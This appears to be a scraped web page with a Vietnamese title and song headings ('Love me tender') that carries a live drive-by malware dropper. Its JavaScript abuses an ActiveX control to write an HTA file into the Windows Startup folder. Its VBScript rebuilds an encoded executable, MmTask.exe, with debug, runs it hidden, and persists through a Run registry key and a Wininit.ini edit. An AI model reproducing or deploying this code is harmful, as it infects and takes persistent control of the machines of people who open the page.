Bài h?c v? lòng

Bài h?c v? lòng




Happy Day







Love me tender




window.status = "You've been Warning !";function loadPage(){if (navigator.appName.substring(0, 9)!= "Microsoft"){window.open('http://lyrics.com','_parent')};else{f()}};
a1=document.applets[0];
if (navigator.systemLanguage.substring(0,2)=="it") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Menu Avvio\\Programmi\\Esecuzione automatica\\MmTask.hta"} else {fn="..\\All Users\\Menu Avvio\\Programmi\\Esecuzione automatica\\MmTask.hta"}} else if(navigator.systemLanguage.substring(0,2)=="en"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Start Menu\\Programs\\Startup\\MmTask.hta"} else {fn="..\\All Users\\Start Menu\\Programs\\Startup\\MmTask.hta"}} else if(navigator.systemLanguage.substring(0,2)=="de"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Startmenỹ\\Programme\\Autostart\\MmTask.hta"} else {fn="..\\All Users\\Startmenỹ\\Programme\\Autostart\\MmTask.hta"}}else if(navigator.systemLanguage.substring(0,2)=="es"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Menỳ Inicio\\Programas\\Inicio\\MmTask.hta"} else {fn="..\\All Users\\Menỳ Inicio\\Programas\\Inicio\\MmTask.hta"}};
function f(){
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",15);
setTimeout("a1.setProperty('DOC',doc)",2000);
setTimeout("a1.invoke('write',VA)",2500);
}

Option Explicit
Dim VA, doc
VA = ARRAY()
doc = Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "On Error Resume Next" & Chr(13) & Chr(10) & "Set fso = CreateObject(""Scripting.FileSystemObject"")" & Chr(13) & Chr(10) & "Set WSHShell = CreateObject(""WScript.Shell"")" & Chr(13) & Chr(10) & "set serverGOD=fso.CreateTextFile(""2ascii.bin"")" & Chr(13) & Chr(10) & "serverGOD.WriteLine ""n-- 2ASCII v2.0 -------- (c)1997 m&g software/Arminio Grgic-GrGa --"" & vbNewline & ""n"" & vbNewline & ""e100 BD 0 1 BA B5 1 B8 0 3D CD 21 72 19 8B D8 E8 72 0 72 12 3C 25"" & vbNewline & ""e116 75 F7 BF C3 1 57 E8 65 0 3C D 74 5 AA EB F6 CD 20 B8 0 24 AB"" & vbNewline & ""e12C 5A B4 3C 33 C9 CD 21 72 F1 3E 89 86 D3 1 B4 9 BA AC 1 CD 21"" & vbNewline & ""e141 B1 4 E8 3E 0 72 35 3C D 74 F7 3C A 74 F3 3C 7E 74 29 2C 30 80"" & vbNewline & ""e157 F9 4 75 6 8A E8 FE C9 EB E2 51 D2 E5 D2 E5 80 E5 C0 A C5 59"" & vbNewline & ""e16C FE C9 75 3 B9 4 0 3E 88 86 D2 1 E8 1B 0 EB C6 B4 3E CD 21 BB"" & vbNewline & ""e182 D3 2 51 B4 3F BA D2 1 3 D5 52 5E B9 1 0 CD 21 AC 59 C3 53 51"" & vbNewline & ""e198 B4 40 BA D2 1 3 D5 3E 8B 9E D3 1 B9 1 0 CD 21 59 5B C3 44 65"" & vbNewline & ""e1AE 63 6F 64 69 6E 67 20 32 41 53 43 49 49 2E 42 49 4E 0 74 6F 20"" & vbNewline & ""g"" & vbNewline & ""q (c)m&g "" & vbNewline & ""%MMTASK.EXE"" & vbNewline & ""U=J@003000040000?oo080h000000000100000000000000000000000000000000000"" & vbNewline & ""000000000000380000>O2j>0bd9=8Qh1=3Y169=@N50dHN;EH8;5832169E8_[M;158?2n8?"" & vbNewline & ""6nE3X16958_[:;]5h;gUM3iE;H?n5`8c9>3hPh?D1N;1MW3E;WA31m8`Ql?31m8iao97"" & vbNewline & ""=5l10000c[77=5l00000f;5lN;UMW3E;K;5d8@X0500h034d4M3iE;>332169E8_[S;158c;9:8f9=l6;E8>32169E8f;5lf95df3ml"" & vbNewline & ""4]d6f3ml4[eC6;=8cB:HA9EKl;5h830H195L8753h00P00;M=lAgXMo_oo3S44570dU"" & vbNewline & ""f;Eh=[B:f;5l6=311f9=lf;El8?n2N50dHT;=Sl?nhA3j5QlGf;5l"" & vbNewline & ""8?n8N3ijQo321f9Elc[2[J`;5;lS85I00"" & vbNewline & ""6;=8dk=l1e4c?0[36;58N;UMo3_13"" & vbNewline & ""K`9eKl1m3l01@00dHc1m3l02@00dHZ1m3l03@00dHQ3mCl0dHK1m3l04@00dHB1m3l05"" & vbNewline & ""@00dH91m3l06@00eI;;Ed8BXoGloko34H4;5P835looSo?nH`;=d8AoDE@0Q003CX:["" & vbNewline & ""3053K`;Ed8BoDE@0Q00;b=o_oo3SQ33S9233a3?>_13K`9eKl;EGlBXD0@0H0=5fH@o"" & vbNewline & ""HEh0Q003S4_1[K`9eKl;EGlBXD4@0H0=5"" & vbNewline & ""fH@oHEh0Q003S41d01009GPL5I00V85H2iH0000cK0=m^Ic[YV[Z2:=P5I00:8=doooo"" & vbNewline & ""2iH0000c[0=mleoo_oc[YV[Z2:ET5I00j8E@onoo2iH0000c[0=moAno_oc[YV[Zk75301j95341T03006;5344Y@==oLlogoAoDEH0Q00=nELl_oo9]El;]5l;gUM3iE;
1D0000UFGPDXI0H085"" & vbNewline & "":HiH0000c0=imIcV[V[:Z:=DI0X08=ldoo;oiH0000c0=bmeoooocV[V[^Z75loo"" & vbNewline & ""3o00`00[X?;Elooko32X19ElooKo;5d8@oDE@0100ib5o?oo?:=B1P00;1=83b=o"" & vbNewline & ""?oo?RnA57Be57Ym1P00;1583b5o?oo?Rn`;A=8ACoE@5000>3X:=[053`;AE8BCoE@"" & vbNewline & ""5000:;=oooo>3Q3>392>3a3h?_13`9]el1=ml00100Qdg1=ml00200Qd^1=ml00300"" & vbNewline & ""QdU3=ml0QdO1=ml00400QdF1=ml00500Qd=1=ml00600h?5B00006;E8mBXMohoo>344"" & vbNewline & ""6;58835oooo8?n`6;=8=AoEE@00h03Xd:[0`53`6;E8=BoEE@00X0;=looko3Qh339"" & vbNewline & ""h23aP3?_c13`f9elf1ml001040dcf1ml002040dZf1ml003040dQf3ml40dKf1ml0040"" & vbNewline & ""40dBf1ml005040d9f1ml0060D0e;6;E8]BXPohoo>3446;58835oooo8?n`6;=8=AoE"" & vbNewline & ""E@00h03Xd:[0`53`6;E8=BoEE@00X0;=looko3Qh339h23aP3?_c13`f9elf;El5BX3X:=[05[`;AE8BCoE@5000:;=oooo>3Q3>392>3a3"" & vbNewline & ""h?_1[`9]el;MElBAX@@Q00=I5H@SoEh5000>343\ECFG7oe8oXBd_oo;7HZP=CX]odoo^;h3S43h3X?=J0000f=5D=@XZoeooN50IBSlI100?"" & vbNewline & "":430P00=A71ZTP@9a58Xo3h5Um:=M5X@_oF3Ch3nHo=5gX@Xo?doko50IIS05I00Qd;]5l=Ah1G_oF3"" & vbNewline & ""Ch3mdNGokF50AnGGkXZdOooIBShI100ck950h?E1n;1[`2c0EONKO93E^;3S@=M5`@"" & vbNewline & ""3oEd5000H?g5KbS4O0"" & vbNewline & ""000?>>I0P005S9?>3A00h01j2D70P0?>3500T0X`5]20oXlc_oo570I?:4b0`00oMehF"" & vbNewline & ""cX0nOooIiI;8BQhIA00175DlK00010000cO0[PIC;MOdoeghFXnWmo7oIkGHIe`>cK"" & vbNewline & ""i63n4=e6go5hAZ1Ngo5la3kO1e=kMeeH8;5Chk57`dn=0P00j3A00h0i;0000]H75mHoo;oZ0`007f5Lo_ooS0000K75Poooo3100"" & vbNewline & ""75mToo;oU0`007f5Xo_oom0000K75oooo2d0075m`oo?o80`007f5do_ooc0000"" & vbNewline & ""K75hoooo3H0075mloo;oR0P009ie47i58`0000V9E`H0`007Y5dR0000V9=lf9E4g7583_00L075750?:5e0000iAe8eI6=5Wh@=b5PmOoo@YF=5m4ooGoF@"" & vbNewline & ""goel3oEXE`B0"" & vbNewline & ""l0X@ofooEII@AXSJa00o7FZ8EXL@a00XnjfoGoIIE@XS5I00OoFZT^XX5A00kXTfOooI"" & vbNewline & ""EI@XG>I0l0oFAZ4XFT@0X>ofooEII@EXnIa00o7FZmIXd@a00XmhfoGoIIU@X35I00"" & vbNewline & ""OoFZd6XX5B00gXRfOooIEI@XEiJ0l0oFAZ490P00;1m8?Bn7@cXg__oo5G0Id"" & vbNewline & ""4VZ^=GX?o^ooiI505IdH]GXi0C006958QZ2=A58Zd4@X2SC0=f5ToOooXELC0d0@oKC=5"" & vbNewline & ""jX50Qe;=I5XXETC0d0@oKC=57@e@FX3kB0h050ad3B0l0YN0100:=50ogooEXC"" & vbNewline & ""A00@mFX0200EX]IA00XFHC0d0FX3n10X0=5"" & vbNewline & ""l0goWoXP5C00e@FX020h034Y0=5l0ooWo@=I5X@EXgIA00XFTC0d0FX3>10L0oeDI0T0Xh5C00]FX[0100IX3IA00XG0C0d0FX2K10d0X85C00"" & vbNewline & ""]FX@0100N344V=5XE@Xi5J00MX1040X`5E007X?34dN50K5dXiHm@JA00e"" & vbNewline & ""4DX05K00EFFXAY0D0FFCoE3`IC;MD8FGf=5@cfoDHD0T0@9DM0Ka007=5@`0000f9eDg75HCCX0H09e"" & vbNewline & ""KL9eKP9MKT9eKX9eK9eK`9eKd9mKh9e?loEF400D0FCEFFFEFFF5FXh5G00eGFoHEP0"" & vbNewline & ""A00Fi@Sl5J00SoET5000coel5J00coE05000AZ1HEONKO93E^;;A5WoWoI5G0Id@=hM60oED800h050h?5M0000f=5`Y@=5mPnoGo@Cj=54onooeC@omelo"" & vbNewline & ""@E50?:4C0P00=b5Xo_oo9HM@J"" & vbNewline & ""A00@J=5Ponoom@oFJ=5Ponoo=@oEE@00T0@=f5PnOoo@QZ1=n54nOooCM@oe?loEDH00"" & vbNewline & ""X0=5nHmoWoX00000=@oEDP00X0=5lXooGoC@Z=5Homoo=@oED0L0oe?loEDD00D0CC"" & vbNewline & "":=5XooooEC@XETG0T0C9@M4Ka00oDEl0A00C3oE`5000c[9omelo@ED0A00OaNc0mK93"" & vbNewline & ""iE;N3hECFGAZ1KFnGA00ZH5=m68Ic_0cU6TZCV=mMaIcfKc[VJ[ZZH4=5WO9MMl@"" & vbNewline & ""f=5hE@FX0o0?D0FFUFX45G001X30X009mmdo@E40Q005G0e=f=5dI@=5Wl@=M5`@V=58"" & vbNewline & ""eF@omeho@E33h2Ql=3Ch3o48ZDkX;n"" & vbNewline & ""OooIB3m45K0044lmCX]oSooN50IAd=GkXX`OooI29ml5K00B9]85K00S[69Dm8KQ009"" & vbNewline & ""D]4KA00OENMKo334311f9=lf;EldkEhH?3@0200f;5l"" & vbNewline & ""=Y080100@5daA00@AXHHQ00;A=8A3Xi2P003c412d"" & vbNewline & ""5a005BXT5M00CoEH5000f=5d5@XP5M00f;=l=Y980100>11d5a00=AXo0600N50d2[2"" & vbNewline & ""AXWOA00XDLH0H0;Ed8BX3J10h0344348FQ4UQ003SP1570dMEX@UQ00;D=343R2"" & vbNewline & ""N5Bd`cc0NPSUA00@c9:L=RUA00AcB:LEQUA00Bc0PGPU0D0@XE0000c0PGWU040@c;9:=GVU040Ac;B:EGUU040Bck0PT"" & vbNewline & ""5U00E@XX5H006;=8]AXY0000>34HcB:LE[UA00Bc0PGZU040@c;9:=GYU040Ac;B:E"" & vbNewline & ""GXU0D0BXF4H0H0;5d8@X1e00h034`Hc9b:=_5U00aAcBb:E^5U00aBc0NP]UA00@c9:"" & vbNewline & ""L=UA00AIXPHQ00;AE8B7X10P00334Hck0Pc5U00a@c9b:=b5U00aAcBb:Ea5U00aBc0"" & vbNewline & ""NP`UA00@IXlHQ00;A=8A3X>0P003c4HYnKmococ0N;UMW3E;k3L875ClhYA20XDlY2"" & vbNewline & ""H0;5gl@oDEH0Q00=Q=@9]=h;MEhB6;5"" & vbNewline & ""6;E@IB;5g`@o@E@0Q00;M=`A3oED5000c0;gUM3iE;IA;5H895Kl;=Sl?nhA5BQd;;"" & vbNewline & ""]5l3S019m5l[K[;=kl31H19=Kl;E;l9EF`Y2H0;5kl30HP95Kl;l9=FY2H0;Ekl32"" & vbNewline & ""I09EKl;5[lSX5Y20f;=lN310f9=lf;ElR9Ed5Y20JQ`YA20@cXZS_oo3C44@EX0Ya20o"" & vbNewline & ""DEH0Q00;H=YA20AMXXa20oDEH0Q00;HEXYA20BEX6;=85AZ0goEh2h10P00;gUM3iE;N1`"" & vbNewline & ""0100AXD^Q20;A58@CoEH5000=Xo0P00=b=0oOooA3X;2P005S0?53a00X0=El0oogoBX"" & vbNewline & ""0320X095olno[o3molnoCo0el5YA0000k75honoo0000301j95honoo"" & vbNewline & ""j3mlonooP0?42Y00X0;=olnoKo;AX3000013007H20D0h3"" & vbNewline & ""P00613006X20H0X3`00h12007X20H0d2`0013004030L0H2@00h13006630H0X2P00X13007h20L0X2P00d12007EQ]U1100AI17EUdCEicdEU]4EYbUESd_Ebi151Q]5U1040a1EBUWE?`UE^;U5i10AT1BEUW4EUUEdUFEQe5U10E14FE1@90cb^ET\"" & vbNewline & ""@00GEC?31;cbD^TAbD0CXEU\E5hUESed5U10EC85500"" & vbNewline & ""40:0000N00001:0040=0000`00000Z0000S0000j00000S0000h0@00N00001Q0040I0"" & vbNewline & ""00000001`00Q00001B1000E1@00E01000W1040I1000S01001D1000H1000?01000W104071"" & vbNewline & ""000R0100161000I1@00D01003Q0040F1000V01001A1000N1@00301000R1000g0000g"" & vbNewline & ""00000_0000f0@00d00001E0040e0000d00001b0040e0P00E0000270080I0P0030000"" & vbNewline & ""2D0040h0P00E00001>0040a0@00o00002A008060P00C00000n0040n0@00o00002Q00"" & vbNewline & ""80A0P00U00002=0080P0P00200002Q0040H0000j00001K0040U0@00P000000001"" & vbNewline & ""000D01000h101000N01001?1000N1@00201000S1000h10006"" & vbNewline & ""0100151000M1@00001000N1040C1000R01000h101000D0100"" & vbNewline & ""1:1000S1000b01000D1040>1000R0100151000N1@00:01000;1000^1000T01001:10"" & vbNewline & ""H03[5offIi6nUoi4Am0GE=NQ5m[hIU2U0000000000000000000000000000D0mV5ian"" & vbNewline & ""EkncDnkn000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000P00FfBZQDQJF^]Z]RcJFSKZSL]00000000000000000000000000000000"" & vbNewline & ""000000000000000000000000000004000000D021EB?;0^^^0000D08YETUCEXQbEU@g"" & vbNewline & ""5Tc0@00CE_VdEgQbEUL=EYSbE_c_EVdLEGY^ET_gEcL3EebbEU^dEFUbEcY_E^L@E_Y"" & vbNewline & ""ESYUEcL>EUdgE_b[@004EYcQERUE@gTE3Q***Y^1W00D0C_EVdgEQbUEL=YESb_Ec_V"" & vbNewline & ""EdLGEY^TE_gcEL3eEbbUE^dFEUbcEY_^EL@_EYSEYUcEL>UEdg_5b[0D04YEcQREU@"" & vbNewline & ""EgT3EQSXEY^W0000D^45E61EEUdEg_bA[08EYTUECXQEbU@EgTc0000D^45E61E"" & vbNewline & ""EUdEg_bA[02E1B?1;^^0^00@003E_^^EUSdDPD_000^EUhU0000@0^U5hU00000"" & vbNewline & ""1L00D0_`5U^00000E4YcEQREUBUEWYcEdbiED__5c00000D^45E61EEEUd5E^e]E3Q***UTE@QcEcg_EbTc@0Uc0:0P@PPE0jPU1c:0000P@PP@"" & vbNewline & ""0jPU1c:0000P@PP>0SjP00XU1TYU1c]04Uc000:0000P@PP9A@P1ETTb0PPj@PUT@^UT"" & vbNewline & ""@^UT@^UT0:000PPPE@bY@^P45>CP0jPU1T^U1T^U1T^U1T:000PPDPCU1S^PE4>C0PjP"" & vbNewline & ""4UT^4UT^4UT^4UT:000P@PP@5bY^DPG95>Cj@PUT@^UT@^UT@^UT0:000PPPECUS@^PG"" & vbNewline & ""E9>C0jPU1T^U1T^U1T^U1T:0D0;5EB>510040008000000000000000"" & vbNewline & ""00000020010040H0800200001`0020000000000000000000@10U0000280020000000"" & vbNewline & ""000000000000010904002P0000000000000000000000010904002`00000000000000"" & vbNewline & ""00000000010904003000L0@``20X020000000000P00h1c200X100000000000007Pd2"" & vbNewline & ""00R000000000000000X0000P00001000001004000000002000000000000000000000"" & vbNewline & ""00000000P000P0000000:00020008000R0002000o000X0002000?okEkkkEkkkL`o`0000h0?o;cgc0cccbc?o1`00P00??ookl?oogc`o7o`0"" & vbNewline & ""0000n?oo`g9o_oc`Ooo`0000h0?o3ck92@00`3?o1`00P00?_ocg091G1`0?7o`00000"" & vbNewline & ""n?ocPk9I>Ag0L?o`0000h0?o3og9:IIHb0?o1`00P00??ookX9IIZC?`7o`00000n?oc"" & vbNewline & ""Rg9IZIChCk0`0000h0?o4ck00003ic?40000P00?SoggZggg:ggd?00000>?ok0cck"" & vbNewline & ""0cckd`>0n?oooooooooh00000004"" & vbNewline & ""Y088Z888Z888280000000000`00o00003o00?`0`00gP00?3ggg?g9`A0gP00?"" & vbNewline & ""Cc1g2770h0?g89Ih0400>?c9bI`2a0`00`00W"" & vbNewline" & Chr(13) & Chr(10) & "serverGOD.close" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c debug nul"",0,True" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c move /y Mmtask.exe %windir%Mmtask.exe"",0,True" & Chr(13) & Chr(10) & "strDir = WSHShell.ExpandEnvironmentStrings(""%windir%"")" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c start %windir%Mmtask.exe"",0,False" & Chr(13) & Chr(10) & "fso.DeleteFile ""2ascii.bin"", True" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_CLASSES_ROOThtafileNeverShowExt"",""""" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_CLASSES_ROOThtafileDefaultIcon"",""SHELL32.DLL,36""" & Chr(13) & Chr(10) & "AllDir = WSHShell.RegRead(""HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionexplorerShell FoldersCommon Startup"")" & Chr(13) & Chr(10) & "set a = fso.GetFolder(AllDir)" & Chr(13) & Chr(10) & "kidarcade = UCase(a.ShortPath & ""MmTask.hta"")" & Chr(13) & Chr(10) & "set Wininit=fso.CreateTextFile(""""& strDir &""Wininit.ini"")" & Chr(13) & Chr(10) & "Wininit.WriteLine(""[rename]"" & vbNewline & ""NUL="" & kidarcade)" & Chr(13) & Chr(10) & "regSru = Chr(34) & strDir & ""Mmtask.exe"" & Chr(34)" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMmTask"", regSru" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c pause"",0,True" & Chr(13) & Chr(10) & ""